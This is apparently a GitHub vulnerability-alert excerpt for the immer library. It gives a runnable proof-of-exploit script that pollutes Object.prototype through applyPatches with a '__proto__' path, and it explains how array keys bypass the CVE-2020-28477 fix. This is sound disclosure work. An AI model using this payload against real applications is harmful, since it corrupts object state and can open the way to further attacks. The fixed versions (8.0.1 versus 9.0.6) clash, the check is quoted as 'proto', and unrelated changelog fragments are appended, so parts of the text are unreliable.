GitHub Vulnerability Alerts

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

This affects the package immer before 9.0.6. A type confusion vulnerability can lead to a bypass of CVE-2020-28477 when the user-provided keys used in the path parameter are arrays. In particular, this bypass is possible because the condition (p === "proto" || p === "constructor") in applyPatches_ returns false if p is ['proto'] (or ['constructor']). The === operator (strict equality operator) returns false if the operands have different type.

CVE-2021-3757

immer is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').

Current is a great utility to print the current state during debugging (no Proxies in the way), and the output of current can also be safely leaked outside the producer. Implements [#441](https://togithub.com/immerjs/immer/issues/441), [#591](https://togithub.com/immerjs/immer/issues/591) - \[BREAKING CHANGE] getters and setters are now handled consistently: own getters and setters will always by copied into fields (like Object.assign does), inherited getters and setters will be left as-is. This should allow using Immer directly on objects that trap their fields, like done in Vue or MobX.

In some cases they will be more optimal now, in other cases less. Especially splicing / unshifting items into an existing array might result in a lot of patches. Fixes [#468](https://togithub.com/immerjs/immer/issues/468) - Improved documentation in several areas, there is now a page for typical update patterns and a separate page on how to work with classes. And additional performance tips have been included.
